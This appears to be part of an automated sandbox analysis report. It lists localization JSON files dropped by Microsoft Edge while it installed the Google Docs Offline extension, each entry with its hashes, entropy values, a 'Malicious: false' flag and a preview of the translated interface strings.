SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7464_354455694\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
